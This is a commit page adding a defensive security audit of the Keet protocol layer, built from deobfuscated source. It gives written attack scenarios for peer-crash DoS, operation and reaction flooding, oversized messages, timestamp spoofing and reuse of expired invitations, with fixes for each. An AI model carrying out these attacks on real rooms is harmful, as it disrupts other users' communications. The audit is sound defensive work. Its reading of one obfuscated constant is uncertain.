OverviewFilesCommitsIssuesDocsReleasesPeers

keet-cli commits / c59fa3c

Add comprehensive red-team security audit (44 findings across 3 components)
SECURITY_AUDIT_V2.md: Combined MITRE ATT&CK audit of keet-core-hyperdb protocol, keet-daemon, and godot-keet. 8 CRITICAL, 11 HIGH, 13 MEDIUM, 8 LOW, 4 INFO findings. Most dangerous: browser-based identity theft via CORS wildcard + no auth. Protocol permission model verified as robust. PROTOCOL_AUDIT.md: Deep protocol-layer audit with 18 findings from deobfuscated source analysis. lib/router.js: Fix invite join flow (strip pear://keet/ prefix, fallback logic). Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
c59fa3cfe793aaea9931194f448b8c920908756a
by plankatron <fleeky@gmail.com> · 2026-02-17T15:13:09.000Z

Changed files (3) +1823 -11

PROTOCOL_AUDIT.md +1182 -0
……@@ -0,0 +1,1182 @@
1# keet-core-hyperdb v1.22.0 Protocol Layer Security Audit
2
3**Date**: 2026-02-17
4**Auditors**: fleeky + Claude Opus 4.6 (authorized defensive review)
5**Scope**: Contract handlers, invitation crypto, input validation, DoS vectors
6**Methodology**: Static analysis of deobfuscated source code, MITRE ATT&CK mapping
7**Source**: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/`
8
9---
10
11## Executive Summary
12
13This audit examines the keet-core-hyperdb protocol layer from the perspective of an attacker
14who has a legitimate writer in a Keet room and can send arbitrary operations via a custom
15client. The deobfuscated contract handlers were reviewed line-by-line for input validation
16gaps, privilege escalation paths, denial of service vectors, data integrity issues, and
17cryptographic weaknesses.
18
19**Overall Assessment**: The permission model is well-designed and consistently enforced.
20Every handler checks writer identity and role before mutating state. However, multiple
21medium-severity issues exist around missing input size validation, absence of rate limiting,
22and several specific logic bugs that could be exploited.
23
24### Finding Summary
25
26| Severity | Count | Category |
27|----------|-------|----------|
28| CRITICAL | 1 | Non-KeetContractError crash propagation (DoS via peer crash) |
29| HIGH | 3 | No rate limiting, unbounded string fields, reaction/label flooding |
30| MEDIUM | 6 | Moderator self-unmute, settings key injection, timestamp spoofing, etc. |
31| LOW | 3 | Invitation metadata not expiry-checked in handler, push notification info leak, etc. |
32| INFO | 3 | Dead code, obfuscation artifacts, test handler in production |
33
34---
35
36## Finding 1: Non-KeetContractError Exceptions Crash All Peers
37
38**Severity**: CRITICAL
39**MITRE ATT&CK**: T1499.004 (Application or System Exploitation DoS)
40**CWE**: CWE-755 (Improper Handling of Exceptional Conditions)
41
42### Description
43
44The main apply loop in `index.js` (lines 1079-1091) dispatches each operation to its
45handler inside a try/catch. However, the catch block only gracefully handles
46`KeetContractError` instances. Any OTHER exception type (TypeError, RangeError, etc.)
47is stored as a fatal error and re-thrown, which propagates to Autobase's `_onError`
48handler, closing the entire Autobase and potentially crashing the peer's process.
49
50### Proof
51
52File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/index.js`
53Lines 1079-1092:
54```javascript
55for (let i = startIdx; i < nodes.length; i++) {
56 const node = nodes[i], version = c.decode(c.uint, node.value);
57 if (version < 0x2) continue;
58 const ctx = createContext(transaction, blobBatch, node, base, view, router, {dryRun, trace, abi: this.abi});
59 await router.dispatch(node.value, ctx);
60 // ... upgrade handling
61}
62} catch (err) {
63 !KeetContractError.isContractError(err) ? fatalError = err : (contractError = true, this.onerror(err));
64}
65// If fatalError is set, it's re-thrown at line 1092:
66if (fatalError) throw fatalError;
67```
68
69A crafted operation that causes a handler to throw a non-KeetContractError (e.g., by
70triggering a null dereference on an optional chain that isn't guarded) will:
711. Set `fatalError` to the exception
722. Skip the transaction flush (line 1091 takes the close path)
733. Re-throw at line 1092
744. Propagate to Autobase `_onError` which calls `this.close()`
755. If no error listener exists, `crashSoon(err)` terminates the process
76
77### Attack Vector
78
79An attacker crafts an operation that passes schema validation (compact-encoding decode
80succeeds) but triggers an unexpected runtime error inside a handler. For example:
81
82- A `@keet/add-file-preview` with `displayType = 3` (only 1 and 2 are handled in the
83 switch statement at `chat.js` line 149-152). The `getDisplayItemFiles` function returns
84 `undefined`, and the subsequent `_0x27a9c6.length` access throws `TypeError: Cannot
85 read properties of undefined`.
86
87- However, the guard at line 118 (`if (!files || files.length <= index)`) would catch
88 this specific case. The real risk is in edge cases where optional chaining (`?.`) is
89 used inconsistently -- some paths use it, some don't.
90
91### Impact
92
93A single malicious writer can crash every peer in the room by sending one carefully
94crafted operation. All peers process the same operation deterministically, so if one
95crashes, all crash. The room becomes unusable until the offending writer is removed
96(which requires a moderator to restart their crashed client first).
97
98### Remediation
99
100Wrap the entire dispatch loop in a broader try/catch that treats ALL exceptions as
101non-fatal for consensus purposes. Log and skip, never re-throw from within the apply
102function. Autobase should never close due to a single malformed operation.
103
104---
105
106## Finding 2: No Rate Limiting on Any Operation
107
108**Severity**: HIGH
109**MITRE ATT&CK**: T1498 (Network Denial of Service), T1499 (Endpoint Denial of Service)
110**CWE**: CWE-770 (Allocation of Resources Without Limits or Throttling)
111
112### Description
113
114There is zero rate limiting at any layer: no per-writer throttling in Autobase, no
115per-operation-type throttling in keet-core handlers, and no batch-size limits in the
116apply function. A writer can append operations to their Hypercore feed at arbitrary
117speed, and every peer must process every one.
118
119### Proof
120
121File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/index.js`
122Lines 1079-1086: The apply loop iterates over ALL nodes in the batch with no limit check:
123```javascript
124for (let i = startIdx; i < nodes.length; i++) {
125 // no rate check, no per-writer counter, no batch size limit
126 await router.dispatch(node.value, ctx);
127}
128```
129
130Every handler performs at minimum:
131- `getMemberForDeviceKey(db, writer.key)` -- one DB lookup
132- `isMemberActive(member)` -- one boolean check
133- Additional DB lookups for target resolution
134
135Even rejected operations (muted user, invalid target) cost 1-2 DB reads per operation.
136
137### Attack Scenario
138
1391. Attacker joins room legitimately (or is already a member)
1402. Attacker modifies their client to bypass UI rate limits
1413. Attacker appends 10,000 `@keet/add-reaction` operations per second
142 (reactions are cheap -- just require member lookup + dedup check)
1434. Each peer must: download (Hypercore replication), decode (compact-encoding),
144 route (hyperdispatch), look up writer (HyperDB get), check dedup (HyperDB get),
145 and either insert or abort
1465. Result: all peers' Autobase apply loops are saturated processing spam
147
148### Cost Analysis
149
150Per rejected operation:
151- compact-encoding decode: ~1us
152- hyperdispatch route: ~0.5us
153- HyperDB get (writer lookup): ~50-200us (RocksDB read)
154- HyperDB get (dedup/target check): ~50-200us
155- Total: ~100-400us per rejected op
156
157At 10,000 ops/sec: ~1-4 seconds of CPU per second of real time. This causes the apply
158loop to fall behind, creating an ever-growing backlog. Eventually peers' memory fills
159with queued operations.
160
161### Impact
162
163Denial of service against all room members. The room becomes unresponsive. Only
164mitigation is a moderator removing the attacker, but the moderator's client may also
165be overwhelmed and unable to process the removal operation.
166
167### Remediation
168
1691. Add per-writer operation counters in the apply function
1702. After N operations from the same writer in a single apply batch, skip remaining
1713. Consider a "writer reputation" system that deprioritizes high-volume writers
1724. At minimum, add a configurable max-ops-per-batch limit
173
174---
175
176## Finding 3: Unbounded String Fields in Chat Messages
177
178**Severity**: HIGH
179**MITRE ATT&CK**: T1499.003 (Application Exhaustion Flood)
180**CWE**: CWE-400 (Uncontrolled Resource Consumption)
181
182### Description
183
184The `@keet/add-chat-message` operation contains a `text` field of type `string` with
185no maximum length enforced at either the schema level or the handler level. The
186hyperschema definition at `spec/contract/hyperschema/schema.json` defines `oplog-message`
187with `"text": { "type": "string" }` -- no `maxLength` constraint.
188
189### Proof
190
191File: `spec/contract/hyperschema/schema.json` lines 2114-2155:
192```json
193{
194 "name": "oplog-message",
195 "namespace": "keet",
196 "fields": [
197 { "name": "text", "type": "string" }, // NO maxLength
198 { "name": "files", "array": true, ... }, // NO maxItems
199 { "name": "display", "type": "@keet/display" },
200 ...
201 ]
202}
203```
204
205File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/contract/chat.js`
206Lines 33-54: `handleAddChatMessage` does not validate `message.text` length:
207```javascript
208async function handleAddChatMessage({message, header}, {db, blobs, writer}) {
209 let [member, thread, ...] = await Promise.all([
210 getMemberForDeviceKey(db, writer.key),
211 db.get("@keet/threads", {id: 0}),
212 // ...
213 ]);
214 if (!isMemberActive(member)) throw KeetContractError.INACTIVE_MEMBER();
215 if (member.status.isMuted) throw KeetContractError.WRITER_IS_MUTED();
216 // ... permission checks ...
217 // NO check on message.text.length
218 // NO check on message.files.length
219 // NO check on message.display array sizes
220 await db.insert('@keet/chat', record);
221}
222```
223
224### Attack Scenario
225
226An attacker sends a `@keet/add-chat-message` with:
227- `text`: 100MB string
228- `files`: Array of 10,000 file records
229- `display.mention`: Array of 50,000 mention entries
230- `display.bold`, `display.italic`, etc.: Arrays of 100,000 range entries each
231
232Each peer must:
2331. Decode the 100MB+ operation (compact-encoding string decode -- allocates full buffer)
2342. Store it in HyperDB (RocksDB write of 100MB+ record)
2353. Process it through map functions (chatMentionsByMemberIdMap iterates all 50K mentions)
2364. Store 50,000 secondary index entries (one per mention)
237
238### Impact
239
240Storage exhaustion and CPU exhaustion on all peers. A single oversized message could
241consume hundreds of MB of storage per peer. The map function processing (mentions index)
242is O(n) in the number of mentions, potentially blocking the apply loop for seconds.
243
244Similarly, the `@keet/update-room-config` handler at `config.js` line 31-33 allows
245unbounded `title` and `description` strings (only `blindPeers` is sliced to a max).
246
247### Remediation
248
2491. Add `maxLength` constraints to string fields in the hyperschema
2502. Add `maxItems` constraints to array fields
2513. Add explicit size validation in handlers before DB insertion
2524. Consider a maximum operation size at the Autobase level
253
254---
255
256## Finding 4: Moderator Can Self-Unmute via handleChangeMemberStatus
257
258**Severity**: MEDIUM
259**MITRE ATT&CK**: T1548 (Abuse Elevation Control Mechanism)
260**CWE**: CWE-269 (Improper Privilege Management)
261
262### Description
263
264The `handleChangeMemberStatus` handler checks that the WRITER is a moderator before
265allowing status changes. However, it does NOT prevent a moderator from unmuting
266THEMSELVES. The handler checks `writerMember.status.isModerator` but does not check
267whether the target is the writer themselves when the operation is "unmute."
268
269### Proof
270
271File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/contract/members/index.js`
272Lines 309-322:
273```javascript
274async function handleChangeMemberStatus({memberKey, key, status}, {db, writer}) {
275 const [writerMember, targetMember] = await Promise.all([
276 getMemberForDeviceKey(db, writer.key),
277 db.get("@keet/members", {key: memberKey})
278 ]);
279 if (!isMemberActive(writerMember)) throw KeetContractError.INACTIVE_MEMBER();
280 if (!targetMember) throw KeetContractError.TARGET_MEMBER_NOT_FOUND();
281 const writerIsMod = writerMember.status.isModerator;
282 if (!writerIsMod) throw KeetContractError.MODERATORS_ONLY();
283 // STATUS_INDEX_TO_KEY = ["isMuted", "isBanned", "isShadowBanned"]
284 if (key === 0 || key > STATUS_INDEX_TO_KEY.length)
285 throw KeetContractError.INVALID_MEMBER_STATUS();
286 const statusKey = STATUS_INDEX_TO_KEY[key - 1];
287 targetMember.status[statusKey] = status[statusKey]; // Direct assignment, no self-check
288 await db.insert("@keet/members", targetMember);
289}
290```
291
292### Attack Scenario
293
2941. Admin mutes a malicious moderator (sets `isMuted: true`)
2952. The muted moderator still has `isModerator: true` (muting doesn't revoke mod status)
2963. Muted moderator sends `@keet/change-member-status` targeting themselves with
297 `{memberKey: self, key: 1, status: {isMuted: false}}`
2984. Handler checks: writer is active? Yes. Writer is moderator? Yes (muting doesn't
299 remove mod flag). Target exists? Yes (self). Status key valid? Yes (1 = isMuted).
3005. Sets `targetMember.status.isMuted = false` -- moderator unmutes themselves
301
302### Impact
303
304A moderator who has been muted by an admin can immediately unmute themselves. The admin
305must DEMOTE the moderator (via `@keet/change-member-role`) to prevent this. This is a
306design weakness rather than a critical vulnerability, but it undermines the mute
307mechanism for moderator-level users.
308
309### Remediation
310
311Add a check: if the target is the writer AND the operation would reduce a restriction
312(e.g., unmuting), require admin privileges rather than just moderator.
313
314---
315
316## Finding 5: handleUpdateSystemSettings Allows Arbitrary Settings Key Injection
317
318**Severity**: MEDIUM
319**MITRE ATT&CK**: T1565 (Data Manipulation)
320**CWE**: CWE-20 (Improper Input Validation)
321
322### Description
323
324The `handleUpdateSystemSettings` handler uses a numeric key to index into
325`SETTINGS_INDEX_TO_KEY` array, then uses that string as a property name on the settings
326object. The bounds check (`key === 0 || key > SETTINGS_INDEX_TO_KEY.length`) correctly
327prevents out-of-bounds access. However, the handler silently returns (no error thrown)
328on out-of-bounds keys, which means an attacker can probe for valid key ranges without
329triggering errors.
330
331More importantly, the handler trusts the `settings` object from the operation payload
332and uses it via spread operator, which could include prototype pollution vectors if
333the encoding library doesn't sanitize property names.
334
335### Proof
336
337File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/contract/internal.js`
338Lines 62-74:
339```javascript
340async function handleUpdateSystemSettings({key, settings}, {db, writer}) {
341 const [member, digest] = await Promise.all([
342 getMemberForDeviceKey(db, writer.key),
343 db.get("@keet/system-digest")
344 ]);
345 if (!isMemberActive(member) || !member.status.isModerator) return; // Silent return
346 if (key === 0 || key > SETTINGS_INDEX_TO_KEY.length) return; // Silent return
347 const currentSettings = digest?.settings;
348 const settingName = SETTINGS_INDEX_TO_KEY[key - 1];
349 const newSettings = { ...currentSettings, [settingName]: settings[settingName] };
350 await db.insert("@keet/system-digest", { ...digest, settings: newSettings });
351}
352```
353
354The expression `settings[settingName]` reads a property from the attacker-controlled
355`settings` object. If `settingName` is `"roomType"` (key=1), the attacker controls
356what `roomType` becomes. The `RoomType` enum is used throughout the codebase to
357determine behavior (Broadcast rooms have different permission models).
358
359### Attack Scenario
360
361A malicious moderator sends `@keet/update-system-settings` with `key: 1` (roomType)
362and `settings: {roomType: 2}` to change a regular room to `DirectMessage` type. This
363would affect:
364- `handleUpdateReadLength` which only works for DM rooms (line 129)
365- `handleRemoveMember` which skips membership events for Broadcast rooms (line 367)
366- Genesis handler disables calling for Broadcast rooms (line 30)
367
368### Impact
369
370A moderator can change the room type, which alters permission semantics across multiple
371handlers. Changing to Broadcast disables calling and member appending for non-moderators.
372Changing to DirectMessage enables read receipts. This is likely intentional for room
373admins but the implications cascade non-obviously.
374
375### Remediation
376
377Add validation that the new value is a valid enum member. Specifically for `roomType`,
378consider requiring admin (not just moderator) privileges to change room type.
379
380---
381
382## Finding 6: Timestamp Spoofing in Operation Headers
383
384**Severity**: MEDIUM
385**MITRE ATT&CK**: T1565.001 (Stored Data Manipulation)
386**CWE**: CWE-345 (Insufficient Verification of Data Authenticity)
387
388### Description
389
390Every operation includes a `header.timestamp` field (uint) that is set by the client
391and stored directly in the database without validation. The handlers use this timestamp
392for ordering, display, and even security-relevant decisions (contact request dedup).
393
394### Proof
395
396The timestamp is a client-provided value in every operation header. For example, in
397`handleAddChatMessage` (chat.js line 50):
398```javascript
399const record = {
400 id: { thread: threadId, index: count },
401 oplog: writer,
402 clock: thread.stats.chat.clock,
403 timestamp: header.timestamp, // CLIENT-PROVIDED, NO VALIDATION
404 message: message,
405 status: { isEdited: false, isPinned: false, isDeleted: false },
406 event: message.event
407};
408```
409
410In `handleAddContactRequest` (identity/private.js lines 217-224), the timestamp is
411used for dedup ordering:
412```javascript
413const sentAt = header.timestamp;
414const existingRequests = db.find("@keet-private-id/pending-contact-requests-by-member", ...);
415for await (const req of existingRequests) {
416 if (req.sentAt > sentAt) { // TIMESTAMP COMPARISON FOR ORDERING
417 isNewest = false;
418 continue;
419 }
420 req.status.isPending = false;
421 req.status.isDiscarded = true;
422 // ...
423}
424```
425
426### Attack Scenario
427
4281. An attacker sends a message with `timestamp: Number.MAX_SAFE_INTEGER`. This message
429 will always sort as the "newest" in any timestamp-based ordering.
4302. An attacker sends a contact request with `timestamp: 0`. This would be treated as
431 older than any legitimate request, potentially causing the dedup logic to discard
432 it incorrectly (or to discard a legitimate later request).
4333. An attacker sends a message with `timestamp: 0` to make it appear at the beginning
434 of the chat history, potentially confusing users about message order.
435
436### Impact
437
438Message ordering manipulation, contact request dedup bypass, and potential confusion
439in any timestamp-dependent UI rendering. Not a critical security issue but undermines
440data integrity guarantees.
441
442### Remediation
443
444Validate that `header.timestamp` is within a reasonable range (e.g., within 5 minutes
445of the current time when the operation is processed in the apply function). Autobase
446provides causal ordering, so timestamps should roughly correspond to wall-clock time.
447
448---
449
450## Finding 7: Reaction and Label Flooding (Unbounded Per-Message)
451
452**Severity**: HIGH
453**MITRE ATT&CK**: T1499.003 (Application Exhaustion Flood)
454**CWE**: CWE-770 (Allocation of Resources Without Limits or Throttling)
455
456### Description
457
458The `handleAddReaction` handler only deduplicates on the triple `(messageId, sender,
459reaction)`. There is no limit on the total number of unique reactions a single user
460can add to a single message. The `reaction` field is a `uint` with no range validation.
461
462Similarly, `handleAddChatLabel` has no limit on labels per message.
463
464### Proof
465
466File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/contract/reactions.js`
467Lines 11-21:
468```javascript
469async function handleAddReaction({header, oplog, reaction}, {db, writer}) {
470 const [member, msg, thread] = await Promise.all([
471 getMemberForDeviceKey(db, writer.key),
472 db.get("@keet/chat-by-message-id", {oplog}),
473 db.get("@keet/threads", {id: 0})
474 ]);
475 if (!isMemberActive(member) || !msg || member.status.isMuted || !reaction) return;
476 // Dedup check: only checks exact (id, sender, reaction) triple
477 const existing = await db.get("@keet/reactions", {id: msg.id, sender: member.key, reaction});
478 if (existing) throw KeetContractError.ABORT();
479 // No limit on total reactions per message or per user
480 const record = { id: msg.id, sender: member.key, clock: thread.stats.chat.clock, reaction };
481 await db.insert("@keet/reactions", record);
482 await reactionStats(db, thread, record, null, header.timestamp);
483}
484```
485
486### Attack Scenario
487
4881. Attacker sends 1,000,000 `@keet/add-reaction` operations, each with a unique
489 `reaction` value (reaction is a uint, so values 1 through 1,000,000)
4902. Each creates a unique `(messageId, sender, reactionValue)` record
4913. Each triggers a `reactionStats` update (incrementing counters)
4924. Result: 1,000,000 reaction records in the database for a single message
493
494The same applies to `@keet/add-chat-label` -- each unique `(messageId, sender, label)`
495triple creates a new record. The `chatLabelStats` function at `labels.js` line 18 also
496updates digest stats on each insert.
497
498### Impact
499
500Database bloat and index pollution. Any query for reactions on a message returns millions
501of records. UI clients rendering reactions would freeze. The stats counters become
502meaninglessly large.
503
504### Remediation
505
5061. Add per-message reaction limits (e.g., max 50 unique reactions per message total)
5072. Add per-user reaction limits (e.g., max 5 reactions per message per user)
5083. Validate that `reaction` values are within a defined emoji enum range
5094. Same limits for chat labels
510
511---
512
513## Finding 8: handleUpdateRoomConfig Blind Peers Slice Uses Obfuscated Constants
514
515**Severity**: MEDIUM
516**MITRE ATT&CK**: T1565 (Data Manipulation)
517**CWE**: CWE-20 (Improper Input Validation)
518
519### Description
520
521The `handleUpdateRoomConfig` handler for `BlindPeers` (key=5) uses `slice()` with
522obfuscated constants to limit the array size. The constant `MAX_CUSTOM_MIRRORS` is
523defined as `--0x17ec` which evaluates to `-0x17ed` (negative), and the slice call
524uses `-0xa10` as the start index.
525
526### Proof
527
528File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/contract/config.js`
529Lines 11 and 35:
530```javascript
531const MAX_CUSTOM_MIRRORS = --0x17ec; // = -0x17ed = -6125 (NEGATIVE!)
532
533// Line 35:
534key === Config.BlindPeers &&
535 (newConfig[settingName] = config[settingName].slice(-0xa10, MAX_CUSTOM_MIRRORS));
536// ^^^^^^ ^^^^^^^^^^^^^^^^
537// -2576 -6125
538```
539
540`Array.prototype.slice(-2576, -6125)` with a start index greater than end index always
541returns an empty array. This means the blind peers update effectively clears the blind
542peers list every time, regardless of input.
543
544This is likely a deobfuscation artifact -- the original code probably had positive
545constants that got mangled during obfuscation. The actual runtime behavior depends on
546the correct resolved values of these hex constants. If the deobfuscator incorrectly
547resolved these, the actual limit may be different.
548
549### Impact
550
551If the constants are indeed negative as shown, blind peer configuration updates silently
552fail (produce empty arrays). A moderator trying to configure blind peers for DHT
553discovery would find their changes don't persist. This is a functionality bug rather
554than a security vulnerability, but it affects room availability.
555
556### Remediation
557
558Verify the actual runtime values of `MAX_CUSTOM_MIRRORS` and the slice parameters by
559testing with the live module. If they are indeed negative, this is a deobfuscation
560artifact and the original values need to be determined.
561
562---
563
564## Finding 9: handleAddDevice Does Not Check Invitation Expiration
565
566**Severity**: MEDIUM
567**MITRE ATT&CK**: T1078 (Valid Accounts)
568**CWE**: CWE-613 (Insufficient Session Expiration)
569
570### Description
571
572When a new device joins via invitation (`addDeviceWithInvitation`), the handler verifies
573the invitation signature and checks that the invitation exists in the database, but does
574NOT check the invitation's `metadata.expiration` timestamp. Expiration IS checked in
575the `_autobaseTrace` callback (index.js line 1104), but that's a post-processing step
576for generating responses -- not an enforcement point.
577
578### Proof
579
580File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/contract/members/index.js`
581Lines 164-183:
582```javascript
583async function addDeviceWithInvitation(withInvitation, header, context) {
584 const {db, hostcalls, writer} = context;
585 let verified = null;
586 try {
587 verified = verifyInvitationDeviceRequest(withInvitation);
588 } catch (e) { throw KeetContractError.ABORT(); }
589 if (!verified) throw KeetContractError.ABORT();
590 const {id, request} = verified;
591 if (!b4a.equals(request.deviceKey, writer.key)) throw KeetContractError.ABORT();
592 const [joinReq, invitation, identity] = await Promise.all([
593 db.get("@keet/join-requests", {deviceKey: writer.key}),
594 db.get("@keet/invitations", {id}),
595 db.get("@keet-private-id/identity")
596 ]);
597 if (!invitation || joinReq) throw KeetContractError.ABORT();
598 // NO CHECK: invitation.metadata.expiration
599 // Invitation could be expired but still accepted
600 await hostcalls.ackWriter(writer.key);
601 if (!invitation.requiresConfirmation && !identity) {
602 await acceptJoinRequest(header, writer.key, request, invitation, null, context);
603 } else {
604 await db.insert("@keet/join-requests", {deviceKey: writer.key, id, request});
605 }
606}
607```
608
609The `createInvitation` function at `lib/invitations/index.js` line 29 sets an
610`expiration` field in metadata, but no handler checks it.
611
612Separately, the `_autobaseTrace` at `index.js` lines 1103-1104 does check expiration:
613```javascript
614const expiration = invitation?.metadata.expiration;
615if (expiration > 0 && expiration < Date.now()) return;
616```
617But this is in a trace callback used for generating device responses, not for
618preventing the join itself.
619
620### Impact
621
622An invitation that was created with an expiration time can be used after it expires.
623If a room admin creates a temporary invitation link (e.g., valid for 24 hours), that
624link remains usable indefinitely as long as the invitation record hasn't been explicitly
625removed from the database.
626
627### Remediation
628
629Add expiration check in `addDeviceWithInvitation`:
630```javascript
631if (invitation.metadata.expiration > 0 && invitation.metadata.expiration < header.timestamp) {
632 throw KeetContractError.ABORT();
633}
634```
635
636---
637
638## Finding 10: Push Notification Payload Leaks Message Content
639
640**Severity**: LOW
641**MITRE ATT&CK**: T1530 (Data from Cloud Storage Object)
642**CWE**: CWE-200 (Exposure of Sensitive Information)
643
644### Description
645
646The push notification handler at `push.js` includes the full message text, file
647metadata, and sender identity in the notification payload sent to Apple/Google push
648notification services.
649
650### Proof
651
652File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/push.js`
653Lines 44-68:
654```javascript
655if (operation.name === "@keet/add-chat-message") {
656 const msg = operation.value.message;
657 // Full text included in push payload:
658 messageInfo = { timestamp, type: "text", chatText: msg.text, ... };
659 // File metadata included:
660 messageInfo = { timestamp, type: "file", fileType: file.metadata?.mimetype, ... };
661}
662// Full sender info included:
663const result = {
664 sender: {
665 id: HypercoreId.encode(writerKey),
666 name: member.profile.displayName,
667 memberAvatar: member.profile.avatar, // AVATAR DATA
668 ...
669 },
670 room: {
671 key: room.roomKey,
672 title: room.config.title,
673 roomAvatar: room.config.avatar, // ROOM AVATAR DATA
674 ...
675 },
676 message: messageInfo
677};
678```
679
680### Impact
681
682Push notification services (Apple APNs, Google FCM) can read:
683- Message text content
684- Sender display name
685- Room title
686- File types being shared
687- Avatar images (potentially identifying)
688
689This undermines the E2E encryption guarantees of the Keet protocol. Users expect their
690messages to be encrypted end-to-end, but push notifications expose plaintext content
691to third-party notification services.
692
693### Remediation
694
695Use content-available (silent) push notifications that only wake the app, then fetch
696and decrypt the message locally. Never include message content in the push payload.
697
698---
699
700## Finding 11: handleUpdateChatMessage Allows Editing Another Member's Message Display
701
702**Severity**: MEDIUM
703**MITRE ATT&CK**: T1565.001 (Stored Data Manipulation)
704**CWE**: CWE-863 (Incorrect Authorization)
705
706### Description
707
708While `handleUpdateChatMessage` correctly verifies that the writer is the same member
709who authored the original message (`SELF_ONLY` check), the edit operation allows
710changing the `display` field of a message. The `display` field contains structured
711formatting data (bold, italic, mentions, links, etc.). A user could edit their own
712message to change mention targets, add fake link previews, or modify formatting in
713ways the UI doesn't expect.
714
715More critically, the edit replaces `message.files` in a specific way: it first collects
716the old files, then deletes them, then inserts new files. During this window, the
717file stats may become temporarily inconsistent.
718
719### Proof
720
721File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/contract/chat.js`
722Lines 55-77:
723```javascript
724async function handleUpdateChatMessage({header, oplog, message}, {db, blobs, writer}) {
725 // ... lookup writer, target message author, verify SELF_ONLY ...
726 // Collect old files
727 if (existingMsg.message?.files?.length) {
728 oldFiles.push(...existingMsg.message.files);
729 existingMsg.message.files = [];
730 }
731 message.files = [];
732 // Delete old files
733 await deleteMessageFiles({primaryThread: thread, message: existingMsg, db, blobs});
734 // Insert new files
735 await insertMessageFiles({primaryThread: thread, clock, message, blobs, db, oplog: writer});
736 // Replace message content wholesale:
737 const updated = {
738 ...existingMsg,
739 message: {
740 ...existingMsg.message,
741 text: message.text,
742 files: oldFiles, // Old file IDs preserved
743 display: message.display // NEW DISPLAY from attacker
744 },
745 status: { ...existingMsg.status, isEdited: true },
746 editedAt: header.timestamp
747 };
748}
749```
750
751The `display` field is completely replaced with the new value from the edit operation,
752allowing the editor to inject new mention references, link previews, etc.
753
754### Impact
755
756A user can edit their own message to change who is mentioned (triggering notifications
757to different users), add fake link previews, or modify formatting. While this is
758limited to self-authored messages, it can be used for social engineering (edit a message
759after others have seen it to change its meaning or attribution).
760
761### Remediation
762
763Consider restricting which fields can be modified during an edit. At minimum, validate
764that mention targets in the new `display` field correspond to actual members.
765
766---
767
768## Finding 12: handleRemoveMember Does Not Revoke Active Invitations
769
770**Severity**: MEDIUM
771**MITRE ATT&CK**: T1078.004 (Cloud Accounts)
772**CWE**: CWE-672 (Operation on a Resource after Expiration or Release)
773
774### Description
775
776When a member is removed from a room, their `isActive` flag is set to false, their
777devices are deactivated, and they're tracked in `@keet/tmp-removed-members`. However,
778any invitations that the removed member previously created remain active in the
779`@keet/invitations` collection. New users can still join using those invitations, and
780the joining flow does not check whether the invitation creator is still an active member.
781
782### Proof
783
784File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/contract/members/index.js`
785Lines 342-379 (`handleRemoveMember`): No code removes or deactivates invitations created
786by the removed member.
787
788Lines 210-220 (`handleAddInvitation`): Invitation records are stored with no reference
789to the creator's member key (only the writer key is used for the anchor).
790
791Lines 164-183 (`addDeviceWithInvitation`): Checks `db.get("@keet/invitations", {id})`
792to verify the invitation exists, but does NOT check whether the invitation creator is
793still an active member.
794
795### Impact
796
797A removed/banned member's previously-created invitations remain valid. They could share
798these invite links with others who would then join the room, potentially flooding it
799with accounts controlled by the banned user. This is particularly concerning for
800invitations with `canModerate: true` or `canAdmin: true` permissions.
801
802### Remediation
803
804When removing a member, iterate and deactivate all invitations created by that member:
805```javascript
806const invitations = await db.find("@keet/invitations").toArray();
807for (const inv of invitations) {
808 // Need to track invitation creator to filter
809}
810```
811This requires adding a `creatorKey` field to invitation records.
812
813---
814
815## Finding 13: test-increment Handler Present in Production
816
817**Severity**: LOW
818**MITRE ATT&CK**: T1059 (Command and Scripting Interpreter)
819**CWE**: CWE-489 (Active Debug Code)
820
821### Description
822
823The `testing.js` contract module registers a `@keet/test-increment` handler (dispatch
824ID 42) that writes to a `@keet/test-collection-1` collection. This handler is loaded
825in the production router at `contract/index.js` line 52:
826```javascript
827testing[REGISTER_ROUTES](router)
828```
829
830### Proof
831
832File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/contract/testing.js`
833```javascript
834async function handleTestIncrement({value}, {db, writer}) {
835 const member = await getMemberForDeviceKey(db, writer.key);
836 if (!isMemberActive(member)) throw KeetContractError.ABORT();
837 const existing = await db.get("@keet/test-collection-1", {key: value});
838 const newValue = existing ? existing.value + 2 : 1;
839 await db.insert("@keet/test-collection-1", {key: value, value: newValue});
840}
841```
842
843### Impact
844
845Any active member can write arbitrary key-value pairs to `@keet/test-collection-1`.
846While this collection is isolated (not used by other handlers), it:
8471. Pollutes the shared database with test data
8482. Provides a covert channel (members can communicate via test collection values)
8493. Adds an unnecessary attack surface
850
851### Remediation
852
853Remove the test handler from the production router. Gate it behind an `isExperimental`
854flag on the system settings.
855
856---
857
858## Finding 14: Invitation Seed Deterministically Derives Signing Keys
859
860**Severity**: LOW
861**MITRE ATT&CK**: T1552 (Unsecured Credentials)
862**CWE**: CWE-330 (Use of Insufficiently Random Values)
863
864### Description
865
866The `createInvitation` function generates a random 32-byte seed and derives the
867invitation's signing keypair deterministically from it:
868```javascript
869function createInvitation(roomKeys, opts) {
870 const seed = crypto.randomBytes(32);
871 const signingKeyPair = createSigningKeyPair(seed);
872 // ...
873 return { invitation, seed };
874}
875```
876
877The seed is returned alongside the invitation and eventually encoded into the invite
878link. This is by design (the invitee uses the seed to prove they have the invite), but
879it means:
880
8811. Anyone who intercepts the invite link has the seed
8822. The seed deterministically derives the signing keypair
8833. With the signing keypair, they can forge join requests
884
885The security of invitations therefore depends entirely on the secrecy of the invite link,
886which is transmitted over Keet's own encrypted channels (DMs, rooms). If an invite link
